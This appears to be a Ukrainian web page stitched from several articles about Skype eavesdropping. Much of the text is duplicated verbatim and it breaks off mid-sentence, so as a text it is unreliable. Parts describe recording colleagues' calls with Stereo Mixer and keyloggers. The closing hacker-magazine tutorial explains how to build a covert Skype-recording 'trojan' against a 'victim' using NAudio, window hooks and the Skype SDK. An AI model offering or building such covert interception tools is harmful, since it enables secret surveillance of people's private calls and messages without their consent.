Прослуховування Skype: правда та міфи. Підслуховуємо Skype: хакерський підхід до резервного копіювання VoIP-розмов Як дізнатися чи прослуховується мій скайп

Має репутацію максимально надійного та захищеного від чужих цікавих очей та вух засобу спілкування по інтернету. Крім того, компаніям, які хочуть заборонити співробітникам користуватися Скайпом на робочому місці, теж доводиться нелегко.


Чи захищений Skype?

Skype не випадково вважається одним із найбільш добре захищених від прослуховування каналів комунікації. Його творці, які вже мали досвід організації пірингової мережі Kazaa, створили сервіс IP-телефонії, що працює за принципом P2P-мережі, і активно використовує багаторівневе шифрування трафіку. Незважаючи на великий інтерес до Skype як з боку зловмисників, так і спецслужб, протокол тримається досить стійко, і не видає своїх секретів стороннім.

Незважаючи на чутки про успішні атаки і "бекдори", що неодноразово з'являлися, за всю багаторічну історію Skype не було жодних офіційних повідомлень про те, що Skype вдалося зламати і успішно прослухати. Але правоохоронці можуть спати спокійно, тому що керівництво Skype підкреслює, що готове співпрацювати з правоохоронними органами "скрізь, де це можливо з правової та технологічної точки зору". А звичайні юзери? Очевидно, якщо вони не займаються нічим протиправним і їх більше непокоїть захист від зловмисників, ніж від правоохоронних органів, то вони можуть не хвилюватися. Шифрування трафіку за допомогою AES-256, для передачі ключа якого, у свою чергу, використовується 1024-бітний ключ RSA, достатньо для найвибагливіших дотримання конфіденційності інформації учасників особистих та ділових переговорів.

За всю багаторічну історію Skype не було жодних офіційних повідомлень про те, що Skype вдалося зламати та успішно прослухати.


Чому важко блокувати Skype

Прослухати Skype у рази складніше, ніж перехопити електронну пошту, якою багато хто користується, не вдаючись до жодних засобів захисту переданої по ній даних. Тим не менш, незважаючи на хорошу захищеність протоколу, багато компаній вважають за краще блокувати доступ співробітників до Skype.

Навіщо це робиться? Як правило, самі роботодавці пояснюють таку свою поведінку дуже просто: щоб співробітник не відволікався у робочий час, якщо спілкування по Skype не входить до списку його безпосередніх обов'язків. Також популярні такі мотивації: щоб уникнути можливих витоків конфіденційної інформації, щоб заощадити на трафіку, який Skype споживає з добрим апетитом... Хоча останнє вже зустрічається рідко завдяки повсюдному проникненню "анлімів".

Тим не менш, через ряд особливостей протоколу Skype навіть блокувати його не так вже й просто. Справа в тому, що для обходу блокування за допомогою "файрволів", розробники Skype чимало попрацювали ще на етапі створення розподіленої архітектури свого протоколу. Тому Skype спроектований таким чином, що може користуватися протоколом UDP, так і TCP, а завдяки шифруванню пакетів розпізнати їх у загальному трафіку теж досить непросто. Хоча, звичайно, не можна сказати, що це завдання зовсім не вирішуване.

Через ряд особливостей протоколу Skype навіть блокувати його не так вже й просто.


Шляхи вирішення проблеми блокування

Тим не менш, є ряд продуктів, цілком придатних для того, щоб блокувати використання Skype в одній окремій конторі. Найбільш успішними є "залізні" рішення - наприклад, Unified Security Gateway компанії Facetime або Cisco IOS Flexible Packet Matching. З їх допомогою ви можете або зовсім заблокувати Skype-трафік, або, принаймні, дещо стримати апетит Skype-клієнта, виставивши фіксовану ширину каналу, відведеного для нього. Що стосується суто програмних "файрволів", то за відгуками, серед них непогано зарекомендував себе TeleMate NetSpective. Більшість широко використовуваних "файрволів" (не показуватимемо пальцем, щоб не образити їх виробників) у питаннях блокування Skype-трафіку, на жаль, знаходяться не на висоті.

Тим не менш, ще раз повторюся, більшість адміністраторів, які на практиці стикалися із завданням заборони використання Skype, сходяться на думці, що найбільш ефективним (і при цьому, мабуть, найдешевшим для компанії) мірою є видалення клієнта Skype з робочих станцій і постійний контроль за тим, щоб він знову не міг з'явитися. Але це, знову ж таки, вимагає застосування теж не найдешевших рішень щодо моніторингу встановленого софту.


Повернемося до питання прослуховування

Що ж, поговоривши про блокування Skype, повернемося до набагато цікавішого питання – прослуховування цього протоколу. Як я вже сказав вище, можливостей шифрування більш ніж достатньо для того, щоб не боятися, що хтось зможе скористатися трафіком, що йде від одного клієнта до іншого. І, тим не менш, Skype прослуховувати та прочитати можна. Але не перехоплюючи і розшифровуючи трафік, що відправляється Skype-клієнтом, а перехоплюючи той потік даних, який ще не зазнав шифрування та пересилання. Звичайно, для цього потрібно мати доступ до комп'ютера тієї людини, чиї переговори про Skype хочуть прослуховувати.

Це можна реалізувати як за допомогою програм, що здійснюють перехоплення всієї інформації зі звукової карти та клавіатури (адже в Skype є і чат, і за ним теж хочеться спостерігати), так і спеціалізованих рішень, заточених спеціально під Skype. Перший варіант реалізується взагалі малою кров'ю - достатньо в тому ж стандартному Sound Recorder "е вибрати як вхідний канал Stereo Mixer (залежно від звукової карти, він може називатися інакше - наприклад, "What you hear"). Плюс який-небудь безкоштовний кейлоггер , який можна за п'ять хвилин знайти за допомогою Google, і у вас є готова система стеження за співробітниками, але у неї є мінуси: разом із розмовою по Skype буде записуватися і музика, яку користувач слухає в перервах між ними. введення - вам доведеться вручну відокремлювати "зерна від полови", тобто повідомлення, передані через Skype, від набраних у Word "е документів". Щодо спеціалізованих інструментів, то Google показав, що їх насправді мало. Одним з найкращих по праву вважається SearchInform SkypeSniffer. Програма вміє самостійно виділяти голосове та клавіатурне введення Skype із загального потоку, а також володіє потужними пошуковими можливостями по базі зібраних повідомлень користувача. До того ж це компонент потужного рішення для захисту від витоків даних, до якого можна оновитися за бажання в процесі її використання.


Резюме

Загалом можна сказати, що якщо ви не міжнародний терорист, то за перехоплення своїх Skype-переговорів можете не хвилюватися - звичайним людям, нехай навіть дуже добре підкованим технічно, це поки що не під силу. Блокувати Skype-трафік за бажання можна, але набагато простіше заборонити встановлення самого клієнта Skype. Прослухати ж розмови по Skype, встановивши перехоплювачі на комп'ютері користувача, нескладно - якщо, звичайно, є така необхідність.

З такою новиною виступили вчора «Відомості», пославшись на кількох учасників ринку. Кілька років, на думку експертів, таємне стає явним у сервісі, який до цього вважався найнадійнішим у плані безпеки. Причому, крім розмов, нібито фіксується і розташування користувачів.

Вже надвечір надійшов коментар від Microsoft (яка зараз володіє Skype) - так, у компанії насправді є угода зі спецслужбами про надання вихідного коду ПЗ, інакше було б неможливо використовувати програми в російських органах державної влади. Але надання кодів значить, що працівники спецслужб читають листування користувачів чи отримують доступом до даних користувачів. Знаючи алгоритм шифрування, але не маючи ключа, неможливо перехопити повідомлення, а ключ створюється на стороні користувача.

Про те, чи варто боятися пересічному користувачеві прослуховування з боку спецслужб, ми поговорили з Матвієм Олексієвим, виконавчим директором Фонду сприяння розвитку технологій та інфраструктури інтернету.

«Ну, якщо чесно, то за наявності ключів до дешифрування все можливо, - розповів експерт, - Якщо ще років зо три тому, до моменту покупки Skype Microsoft, були тільки протоколи адресації, то у Microsoft все вже на «залізі». А китайська технологія KeyLogger, як би це російською мовою... загалом, щось типу розпізнавання слів, як це реалізовано з хештегами, може дозволити і більше. У будь-якому випадку хвилюватися не варто, швидше за все «прослуховування» проводитиметься в рамках СОРМ (система оперативно-розшукових заходів), і потужність спецслужб не зможе глобально охопити весь трафік».

"Простих" користувачів прослуховувати не будуть?

Антон Разумов, керівник групи безпекових консультантів компанії Check Point Software Technologies, Вважає, що можливе прослуховування користувачів Skype - новина для ринку. «Підози могли бути і раніше, але зараз це стало нехай і не офіційним, але дуже схожим на правду підтвердженням, – каже експерт, – Втім, це мало стосується пересічних користувачів. Безпеки в інтернеті і так практично не залишилося. Наприклад, це добре помітно за персоналізованими пошуковими видачами, статистикою, яку видають вебмайстрам різні лічильники відвідувань (підлога, вік відвідувачів). Враховуються інтереси користувача, виходячи із раніше відвіданих ним сайтів, інформації, яку він залишає у соціальних мережах».

Бояться можливого «прослуховування», на думку Антона Разумова, не варто і представникам бізнесу, щоправда, лише якщо йдеться про закордонні спецслужби. «Інша справа – доступність цієї інформації російським спецслужбам та питання довіри до них, побоювання можливості використання даної інформації без рішення суду на користь конкурентної боротьби.

Технічно це виглядає цілком реально, - упевнений експерт, - Особливо з урахуванням того, що після придбання Skype Microsoft почала змінюватися архітектура цього продукту. Так раніше використовувалася розподілена модель, коли трафік ходив безпосередньо від користувача до користувача, у крайньому випадку (наприклад, для обходу обмежень динамічної трансляції адрес) були задіяні проміжні вузли (теж користувачі Skype, але з більш відкритим підключенням до Інтернету). Тепер дійсно роль серверів стала більш значною, що полегшує вирішення поставлених завдань з прослуховування трафіку.

Взагалі перехоплення та аналіз трафіку спецслужбами – це нормальне явище у всьому світі. СОРМ, Ешелон існують уже довгі роки».

Все одно можна сховатися

Антон Разумов порівнює цю історію з можливістю за номером автомобіля визначити маршрут його руху за певний період часу завдяки злиттю інформації з відеокамер та системи розпізнавання зображення.

«Мені поки невідомі системи, здатні на льоту розпізнати і проаналізувати на ключові слова російську мову одночасно всіх абонентів Skype, що розмовляють, - говорить експерт про технологію, про яку згадував і Матвій Алексєєв, - Однак, вважаю, що поставити на контроль певних осіб цілком реально.

Втім, у будь-якому випадку до безпеки має застосовуватися комплексний багаторівневий підхід. Зокрема особи, які підозрюють, що даний механізм може їм якось пошкодити, можуть додатково використовувати голосові скрамблери, щоб Skype передавав уже закодовані дані, причому зашифровані ключами, згенеровані абсолютно окремими механізмами».

«Прослуховування» Skype – як інструмент боротьби зі злочинністю

«Надання можливості російським спецслужбам прослуховувати Skype - світова практика, що цілком склалася, - впевнена Дар'я Абрамова, директор з маркетингових комунікацій Orange Business Services, - США, Китай роблять це давно і розглядають як інструмент боротьби зі злочинністю. Франція йде у тому ж напрямі.

Навряд чи можна говорити про те, що в Інтернеті можна зберегти абсолютну конфіденційність. Не дарма організації для передачі комерційної інформації використовують послугу захищеної віртуальної приватної мережі (Virtual Private Network – VPN), яку представляють сертифіковані провайдери. Подібні інструменти допоможуть захиститися від підступів конкурентів та зловмисників, але треба розуміти, що спецслубжі отримають доступ до необхідної інформації у будь-якому випадку».

Можливе прослуховування Skype з боку спецслужб - не новина і для Олександра Власова, керівника департаменту ІКТ T-systems CIS. «Microsoft придбала Skype, зокрема, з метою отримання можливості «прослуховування», - вважає він, - Наївно було б вважати, що такий популярний сервіс залишиться поза увагою правоохоронних органів надовго. Раніше Skype був справді «міцним горішком» для спецслужб, але після покупки американці мають до нього повний доступ. Що саме Skype та Microsoft відкрили російським силовим органам, сказати складно.

Технічно прослуховування може йти з використанням системи СОРМ, яка стоїть на всіх вузлах зв'язку. А якщо врахувати, що під одним логіном можна підключитися до Skype відразу з декількох комп'ютерів, то не існує гарантій, що Skype не має жодних технічних паролів для підключення до будь-якого облікового запису.

В інтернеті практично не залишилося місць, куди не дісталася рука правоохоронних органів. Для громадян, які шанують кримінальний кодекс, жодної небезпеки немає. На мій погляд, найефективніший спосіб сховатися - це загубитися в потоці інформації, що швидко зростає».

Протягом багатьох років Skype має репутацію максимально надійного та захищеного від чужих цікавих очей та вух засобу спілкування по інтернету. Крім того, компаніям, які хочуть заборонити співробітникам користуватися Скайпом на робочому місці, теж доводиться нелегко.


Чи захищений Skype?

Skype не випадково вважається одним із найбільш добре захищених від прослуховування каналів комунікації. Його творці, які вже мали досвід організації пірингової мережі Kazaa, створили сервіс IP-телефонії, що працює за принципом P2P-мережі, і активно використовує багаторівневе шифрування трафіку. Незважаючи на великий інтерес до Skype як з боку зловмисників, так і спецслужб, протокол тримається досить стійко, і не видає своїх секретів стороннім.

Незважаючи на чутки про успішні атаки і "бекдори", що неодноразово з'являлися, за всю багаторічну історію Skype не було жодних офіційних повідомлень про те, що Skype вдалося зламати і успішно прослухати. Але правоохоронні органи можуть спати спокійно, тому що керівництво Skype наголошує, що готове співпрацювати з правоохоронними органами. скрізь, де це можливо з правової та технологічної точки зоруА прості користувачі? Очевидно, якщо вони не займаються нічим протиправним, і їх більше турбує захист від зловмисників, ніж від правоохоронних органів, то і вони можуть не хвилюватися. Шифрування трафіку за допомогою AES-256, для передачі ключа якого, у свою Насамперед, використовується 1024-бітний ключ RSA, достатньо для найвибагливіших до дотримання конфіденційності інформації учасників особистих та ділових переговорів.

Чому важко блокувати Skype

Прослухати Skype у рази складніше, ніж перехопити електронну пошту, якою багато хто користується, не вдаючись до жодних засобів захисту переданої по ній даних. Тим не менш, незважаючи на хорошу захищеність протоколу, багато компаній вважають за краще блокувати доступ співробітників до Skype.

Навіщо це робиться? Як правило, самі роботодавці пояснюють таку свою поведінку дуже просто: щоб співробітник не відволікався у робочий час, якщо спілкування по Skype не входить до списку його безпосередніх обов'язків. Також популярні наступні мотивації: щоб уникнути можливих витоків конфіденційної інформації, щоб заощадити на трафіку, який Skype споживає з вельми непоганим апетитом... Хоча останнє зустрічається рідко завдяки повсюдному проникненню "анлімів".

Проте через ряд особливостей протоколу Skype навіть блокувати його не так вже й просто. Справа в тому, що для обходу блокування за допомогою "файрволів", розробники Skype чимало попрацювали ще на етапі створення розподіленої архітектури свого протоколу. Тому Skype спроектований таким чином, що може користуватися протоколом UDP, так і TCP, а завдяки шифруванню пакетів розпізнати їх у загальному трафіку теж досить непросто. Хоча, звичайно, не можна сказати, що це завдання зовсім не вирішуване.

Шляхи вирішення проблеми блокування

За допомогою Google (або "Яндекса", якщо вам ближче ця пошукова система) можна знайти чимало форумів, де системні адміністратори дружно намагаються зі змінним успіхом знайти рецепт блокування Skype за допомогою iptables. Схоже, що розробники Skype відстежують спроби як адміністраторів, так і виробників "файрволів" заблокувати їх продукт, і найвдаліші з них нейтралізують випуском нової версії клієнта, яка вже успішно оминає нові способи блокування Skype-трафіку.

Тим не менш, є ряд продуктів, цілком придатних для того, щоб блокувати використання Skype в одній окремо взятій конторі. Найбільш успішними є "залізні" рішення - наприклад, Unified Security Gateway компанії Facetime або Cisco IOS Flexible Packet Matching. З їх допомогою ви можете або зовсім заблокувати Skype-трафік, або, принаймні, дещо вгамувати апетит Skype-клієнта, виставивши фіксовану ширину каналу, відведеного для нього. Що стосується суто програмних "файрволів", то за відгуками, серед них непогано зарекомендував себе TeleMate NetSpective. Більшість широко використовуваних "файрволів" (не показуватимемо пальцем, щоб не образити їх виробників) у питаннях блокування Skype-трафіку, на жаль, знаходяться не на висоті.

Проте ще раз повторюся, більшість адміністраторів, які на практиці стикалися із завданням заборони використання Skype, сходяться на думці, що найбільш ефективним (і при цьому, мабуть, найдешевшим для компанії) заходом є видалення клієнта Skype з робочих станцій і постійний контроль над тим, щоб він там знову не міг з'явитися. Але це, знову ж таки, вимагає застосування теж не найдешевших рішень щодо моніторингу встановленого софту.

Повернемося до питання прослуховування

Що ж, поговоривши про блокування Skype, повернемося до набагато цікавішого питання – прослуховування цього протоколу. Як я вже сказав вище, можливостей шифрування більш ніж достатньо для того, щоб не боятися, що хтось зможе скористатися трафіком, що йде від одного клієнта до іншого. І, тим не менш, Skype прослуховувати та прочитати можна. Але не перехоплюючи і розшифровуючи трафік, що відправляється Skype-клієнтом, а перехоплюючи той потік даних, який ще не зазнав шифрування та пересилання. Звичайно, для цього потрібно мати доступ до комп'ютера тієї людини, чиї переговори про Skype хочуть прослуховувати.

Це можна реалізувати як за допомогою програм, що здійснюють перехоплення всієї інформації зі звукової карти та клавіатури (адже в Skype є і чат, і за ним теж хочеться спостерігати), так і спеціалізованих рішень, заточених спеціально під Skype. Перший варіант реалізується взагалі малою кров'ю - досить в тому ж стандартному Sound Recorder'е вибрати як вхідний канал Stereo Mixer (залежно від звукової карти, він може називатися інакше - наприклад, "What you hear"). Плюс якийсь безкоштовний кейлоггер , який можна за п'ять хвилин знайти за допомогою Google, і у вас є готова система стеження за співробітниками, але у неї є мінуси: разом із розмовою по Skype буде записуватися і музика, яку користувач слухає в перервах між ними. введення - вам доведеться вручну відокремлювати "зерна від полови", тобто повідомлення, передані через Skype, від набраних у Word документах. Щодо спеціалізованих інструментів, то Google показав, що їх насправді мало. Одним із найкращих по праву вважається SearchInform SkypeSniffer. Програма вміє самостійно виділяти голосове та клавіатурне введення Skype із загального потоку, а також володіє потужними пошуковими можливостями по базі зібраних повідомлень користувача. До того ж це компонент потужного рішення для захисту від витоків даних, до якого можна оновитися за бажання в процесі її використання.

Резюме

Загалом можна сказати, що якщо ви не міжнародний терорист, то за перехоплення своїх Skype-переговорів можете не хвилюватися - звичайним людям, нехай навіть дуже добре підкованим технічно, це поки що не під силу. Блокувати Skype-трафік за бажання можна, але набагато простіше заборонити встановлення самого клієнта Skype. Прослухати ж розмови по Skype, встановивши перехоплювачі на комп'ютері користувача, нескладно - якщо, звичайно, є така необхідність.

– одразу ж почали множитися чутки та твердження про те, що, мовляв, розмови щодо неможливо прослухати. Та й взагалі Skype - суперзахищена система і "ніхто" і "ніколи", навіть спецслужби, не зможуть дізнатися, про що ви говорите.

Давайте розберемося:

Надзахищеність Skype: міф чи реальність?

Відразу невеликий відступ від теми.

Відповідно до принципу «Що зроблено людиною, іншою людиною може бути зламана», система Skype не є повністю захищеною від прослуховування системою.

Суть у чому: які б не застосовувалися технічні чи програмні хитрощі, всі вони можуть бути розкриті іншою людиною. Питання, якою ціною буде все «розкрито»? Зрозуміло, що необхідно буде і спецтехніку використовувати, і фахівців залучати, а все це гроші часом дуже чималі.

Тому то й будуються системи захисту так, щоб не унеможливити системи, а зробити його максимально дорогим, а тому безглуздим для дешифрування розмов звичайного громадянина!

Тому (якщо ви, звичайно, не розшукуваний терорист) ваші розмови в Skype захищені не від спецслужб (вони-то, за бажання, завжди зможуть «розкрити» всі ваші розмови), а від прозаїчних «шпигунів» типу конкурентів, родичів, начальства , колег, недоброзичливців і т.д.

Саме про такий захист Skype і йдеться у всіх твердженнях про захищеність даної системи від прослуховування.

За рахунок чого Skype вважається захищеним від прослуховування?

Ця система у своїй роботі використовує т.зв. протокол розподіленої структури, тобто. кожен невеликий фрагмент інформації передається пакетом, до того ж зашифрованим. Приблизно також працює програма для пересилання файлів BitTorrent. Тому визначити розмову та прослухати її лише за рахунок аналізу трафіку досить складно, та й не завжди практично.

Сам захист розмов, текстових повідомлень і файлів, що пересилаються в Skype, виконаний дуже потужно: шифрується не тільки все вище перераховане, але і дані вашої IP-адреси та акаунту. Але спецслужбам, при потребі, навіть не треба особливо напружуватися з доступом до ваших даних: після того як корпорація Microsoft купила Skype, всю вашу інформацію за відповідним запитом і рішенням суду, корпорація надасть спецслужбам, що цікавляться. Більше того: спеціально для китайської влади корпорація створила спецверсію утиліт, що слідкують, які автоматично визначають потенційно небезпечну для влади Китаю інформацію і проводять цензуру всієї інформації.

Рівень захисту Skype дещо знизився після доступу до облікового запису з різноманітних пристроїв. Але побоюватися сильно за розмови не варто: на вашому смартфоні або планшеті набагато більше потрібної та цікавої інформації типу доступу до ваших банківських карток або облікових записів у соцмережах, ніж ваші повідомлення та розмови в Skype.

А ось коли дійсно Skype стає незахищеною системою, так це в момент ДО відправлення зашифрованого пакета даних: в момент розмови шляхом зняття інформації з мікрофона, в момент відправлення файлу, знаючи ім'я файлу, або в момент написання повідомлення за допомогою клавіатурного шпигуна. Отже, захищеність Skype починається і закінчується у вашому комп'ютері.

Для перехоплення розмови вам потрібно буде лише переключити вхідний канал програми звукозапису, стандартно закладеної в збірку Windows, на канал Stereo Mixer, текстові повідомлення прочитати ви зможете завдяки будь-якому клавіатурному шпигуну, яких у Мережі безліч. Але це все на домашньому комп'ютері.

На робочих комп'ютерах така система прослуховування не піде: потрібні доступ до внутрішньоофісної мережі, імена комп'ютерів і так далі.

Для прослуховування розмов (і не тільки) у деяких офісах та компаніях використовуються т.зв. DLP-системи (Запобігання Витоку Даних – Data Leakage Prevention (англ.)), які встановлюються на сервери фірми та займаються не тільки «слуханням» Skype, але й перевіркою роботи поштових клієнтів, адрес, листів, що надсилаються з офісу, зовнішніх накопичувачів і так далі - загалом, всього, де може статися витік даних компанії. Подібними системами оснащено поки що близько 20% компаній, але мудрий власник не скупиться на захист та охорону важливої ​​інформації, і часу, який недбайливі співробітники витрачають не на роботу, а на розмови.

Отже, що можна сказати про захищеність від «прослуховування» Skype, виходячи з усього, сказаного вище?

Захищеність від «прослуховування» Skype

З одного боку, творці Skype зробили свій сервіс максимально захищеним, використовуючи найзручніші для себе рішення.

З іншого боку, вплив «людського чинника», тобто. кінцевого користувача Skype, може звести нанівець всі програмно-технічні хитрощі розробників Skype.

А тому: хочете мати захищені розмови та листування у Skype? Якщо так, то регулярно оновлюйте антивірусну програму, бажано не безкоштовну, а платну версію від відомого розробника. Перевіряйте джерела, з яких ви завантажуєте інформацію та з якими зв'язуєтеся.

Загалом, створіть максимальний захист на своєму комп'ютері, а Skype вже й так захищений максимально від «прослуховування»!

.
Якщо раніше нам потрібно було годинами відвисати у текстових чатах, набиваючи кілобайти
інформації, то тепер, завдяки поширенню безлімітного інету аж до
російської глибинки, навіть найвіддаленіші від столиці інтернетчики можуть пізнати
радість голосового спілкування.

Способи перехоплення

З метою ми визначилися і тепер потрібно начитатися нудною теорією, без якої
у такій справі просунутися неможливо. Прогуляйся вулицею, звари собі чашечку
глінтвейну, розташуйся зручніше в кріслі і починай вбирати священні знання.

Спосіб #1

Буквально на початку жовтня 2009 року один умілець написав просунутий сніфер,
про який написали у всіх security-ресурсах всесвітньої павутини. Якщо вірити
новинам та автору сніфа, то виходить, що перцю вдалося перехопити скайп-трафік
(Ну, це можна було зробити і раніше) і, що найголовніше - розшифрувати його.

Обійти таку подію я не міг, тому негайно вирішив знайти
заповітний вихідничок (автор сніфера був страшенно добрий і виклав на паблік повний
сорец), але жорстко обламався. Вороги народу прибрали заповітний сорець із сабжового
сайту, а годинний марш-кидок за гуглою нормальних результатів не дав. Мені лише
траплялися якісь неробочі сорці.

Зовсім зневірившись, я плюнув на цей варіант. Стоп! Якщо нічого не вийшло, то
навіщо я все це тобі розповідаю? Все просто, ситуація змінюється щодня та
цілком можливо, що до моменту виходу статті у світ на просторах всесвітньої
павутини з'являться робочі сорці цього трійця. Чим чорт не жартує. Зверни увагу, якщо
вдасться знайти заповітний вихідник, то вважай, що в тебе в руках усі козирі та
тепер усі скайпери стануть тобі мішенями.

Спосіб #2

Безперечно, перший спосіб - найкращий, але з реалізацією реальний напруження.
Буду відвертим: я вже зневірився і хотів покласти на весь задум залізний болт, але
редактор рубрики був іншої думки. Після пари натяків, двох ударів по нирках та
печінки я не зміг відмовити у підготовці матеріалу. Як виявилося, зробив я це не
даремно.

Якщо не вдається досягти мети безпосередньо, потрібно заходити з тилу. Так
вчинив і ваш покірний слуга. Ідея проста до неподобства і, можливо, ти вже
навіть юзал цю фічу для якогось доброго діла.

Не ходитиму навколо та навколо, а розкрию всі карти. Отже, у гаряче мною
У улюблених операційних системах від Microsoft є така фіча - стерео-мікшер.
Мало хто знає, що завдяки цій, здавалося б, марній приблуді і
будь-якої мови програмування реально сварганити повноцінного
skype-шпигуна.

Активуй у своїй (чи не зовсім своїй?) системі стерео-мікшер, і тобі
стають підвладними обидва звукові потоки - той, якою йде на мікрофон і
відповідно той, що надходить на колонки/навушники. Здогадуєшся, до чого
я хилю? Все вірно, щоб зарипати розмову двох людей скайпом, тобі лише
потрібно скористатися стандартним WinAPI/об'єктами для запису звуку з
мікрофон.

Зробити це досить просто і переконатись у цьому ти зможеш, глянувши на
урізання 1. У ньому я навів частину, що відповідає за запис звуку. Не поспішай все це
переписувати, одразу він у тебе все одно не скупиться.

На жаль, незважаючи на всю міць та безмежні можливості.NET Framework, у ньому
відсутні інструменти для запису звуку. Безперечно, у майбутніх
версіях цей пробіл буде заповнений, але ж ми не можемо чекати!

Багато.NET-розробники для організації у своїх додатках можливості
Записи звуку використовують банальні виклики API-функцій. Варіант непоганий, але
вкрай незручний. Я пішов дещо іншим шляхом і скористався напрацюваннями
Mark Heath.

Ця людина попрацювала на славу і створила проект NAudio – аудіоредактор з
відкритим вихідним кодом. У рамках проекту Марк написав каркас, що дозволяє
максимально зручно взаємодіяти з різними WinAPI-функціями для роботи зі
звуком.

NAudio доступний на . Просто
підтягни його модулі до свого проекту і тобі стануть доступні всі необхідні
класи. Записувати звук за допомогою дуже просто. Та ти, мабуть, у цьому вже
переконався:).

На початку листингу я визначаю формат WAV-файлу. Для цього мені потрібно
встановити кількість каналів (у нашому випадку писатимемо в mono) та частоту
семпла. Крім налаштувань формату аудіофайлу, мені потрібно визначити пристрій
(device number), з якого ми захоплюватимемо звук. Я встановлюю 0, що
відповідає пристрою запису "за замовчуванням".

Дізнаватись про чергову порцію даних, що надійшли на звукову карту, нам може
подія waveIn_DataAvaible(). Якщо воно спрацювало, то значить прийшли дані та їх
потрібно записати.

А ось і перші мінуси

Не поспішай пускати слини і намагатися похапцем створити зловреда для Skype.
Запропонований мною спосіб хороший і повністю працездатний, але він має
кілька мінусів, про які тобі необхідно дізнатися заздалегідь. Деякі з них:

1. Немає жодних гарантій, що в системі користувача стерео-мікшер взагалі
буде активним. Так, він включений за замовчуванням, але багато користувачів примусово
відключають його. Навіщо? Особисто мені доводиться це робити через те, що я пишу
підкасти і мені дуже важливо, щоб звук захоплювався лише з мого мікрофона, а
не голоси обізнаного.

Твоя програма має бути готова до такого стану справ і в разі чого
зуміти самостійно внести необхідні настройки. Ось тут виникають невеликі
складності, але хіба хтось казав, що буде дуже просто?

2. Немає чіткого орієнтира, на який можна спертися і 100% запевнити, що
саме зараз користувач почав спілкуватися зі своїм співрозмовником. На одному з
кодерських форумів для вирішення даної траби пропонували наступний спосіб:
аналізувати звук, що надходить на мікрофон і у разі виявлення великих
стрибків звукової хвилі (тобто коли людина починає кричати/говорити) приступати до
запис. Для переривання слід керуватися приблизно таким алгоритмом –
чекаємо на тишу і, якщо вона триває більше n хвилин, припиняємо захоплення звуку.

Запропонований алгоритм, безперечно, хороший, але в описаному вище вигляді їм краще
не користуватися. Спробую пояснити чому. Заюзавши даний спосіб у чистому вигляді,
ти ризикуєш напоротися на велику кількість помилкових спрацьовувань. Якщо на
ворожої території мікрофон лежить біля колонок, з яких невтомно звучить
heavy metal, то твій трой буде постійно вести запис, і під час збирання врожаю
ти побачиш, що в тебе з'явилася збірка всіх улюблених треків твоєї жертви. Що
тоді робити? Сподіватися на може і писати все поспіль? Можна, але це якось не
по-хакцерськи.

Я провів невеликий мозковий штурм і дійшов висновку, що озвучено вище
способом користуватися можна, але попередньо організувавши страховку.
Страховка може бути, як мінімум, двох видів:

1. Хуки. У нашому журналі ми неодноразово описували техніку застосування хуків,
і ще раз розписувати всі подробиці і тим більше наводити приклади мене
сильно обламує. Ти вже не маленький і такі речі маєш знати:). я лише
підкажу алгоритм:

a. Ставимо хук на обробку створення нових вікон.

b. Реалізуємо перевірку, в якій обробляємо кожне новостворене вікно. У
Код перевірки ми повинні дивитися на: батька вікна, клас вікна, заголовок і т.д.
За цими ознаками ми можемо розпізнати вікно вхідного Skype-дзвінка і у випадку
чого розпочати запис.

2. Функції до роботи з вікнами. Другим варіантом вирішення завдання будуть добре
знайомі тобі WinAPI функції для роботи з вікнами. Адже ти ще пам'ятаєш такі
слова, як FindWindow, EnumWindows, EnumChildWindows і т.д.? За допомогою цих API
реалізується банальний пошук вікна вхідного дзвінка. Якщо вікно знайдено, це
означає, що жертва почала базарити по скайпу, інакше потрібно
виконати пошук трохи пізніше. Періодичність пошуку має бути мінімальною,
інакше ти ризикуєш пропустити таємні дзвінки.

Спосіб #3

І ось ми повільно, але вірно дісталися найпростішого і зручнішого способу
запис skype-розмов. Мало хто знає, що розробники Skype заохочують людей,
мають бажання розробляти всякі полезняшки їхнього дітища. Саме заохочення
виявляється у розробці та оновленні офіційного SDK.

На основі компонентів, що входять до SDK, програмісти можуть створювати аддони або
просто програми на базі Skype. В якості однієї з смакот цього наборника
можна виділити наявність прикладів щодо різних популярних мов програмування.
Тут тобі і C++, і C#, і навіть великий і могутній Delphi не забутий (до речі, не всі
курсі, але сам Skype написаний на Delphi). Одним словом, цей SDK – рай для
програмістів, які вирішили поколупати Skype.

Для нас з тобою SDK - це навіть крутіше, ніж рай. На базі цього каркасу ми
зможемо не лише записати голосове спілкування користувача, а й перехопити
отримані та надіслані ним текстові повідомлення, файли, здійснити дзвінок від нього
імені та т.д.

Але не бігтимемо попереду паровоза, вихваляючи те, що ще пробували, а
познайомимося з усіма нюансами на прикладі.

Лізь на наш DVD і встановлюй SDK. Установка не повинна викликати труднощів.
Просто запусти файл з папочки SDK і погоджуйся з усім, що в тебе запитають.
Завершивши установку – запускай Visual Studio (я використав 2008-ю версію) та
створюй новий проект. Як тип проекту виберіть шаблон SEHEwc.

Поки у тебе створюється проект, я коротко розповім про шаблон SEHEwc. По правді
кажучи, це не зовсім шаблон у звичному для нас розумінні. У реалі це повноцінний
приклад, що демонструє всі можливості хваленого мною SDK. Демка написана дуже
добре і розумітися на її коді одне задоволення.

До початку занурення в код стартані свій скайп і запусти створений проект (я
зараз про шаблон). При виконанні вихідного коду твій скайп віддано відрапортує,
що таке додаток намагається отримати доступ до його функцій. Давай добро і
спробуй надіслати через скайп текстове повідомлення. Не встигнеш його залякати, як
весь надісланий текст з'явиться в текстовому полі. Це означає, що
демонстраційний приклад успішно працює.

Потужність прикладу не викликає сумнівів. На перший погляд може здатися, що
його код дає відповіді на найвитонченіші питання, пов'язані з програмуванням
скайпу. Але найпотрібніша для нас фіча – запис розмов, у ньому, на жаль, не
реалізовано. Що ж, виправлятимемо ситуацію.

Перейди в редактор коду та знайди опис методу OurCallStatus. У його тілі
описано отримання різної інформації про поточний дзвінок. Це все добре і шалено
цікаво, але ми хочемо іншого. Зітріть наявний код, і замість нього перепиши
вміст третьої врізки. Поки ти переписуватимеш, я розповім про те, що
там відбувається.

У першому рядку я виконую перевірку і порівнюю значення змінної
status зі значенням clsInProgress перерахування TCallStatus (ух,
ностальгічна дельфяча літера T перед ім'ям типу:)). Якщо вони рівні, то
бесіда в самому розпалі і настав час починати запис звуку.

Тепер приготуйся і не впади зі стільця, коли дізнаєшся, що запис
здійснюється лише одним рядком:

call.set_CaptureMicDevice(TCallIoDeviceType.callIoDeviceTypeFile,
@"Шлях, куди зберігати" + call.Id.ToString() + ".wav");

У перший параметр методу set_captureMicDevice потрібно передати пристрій,
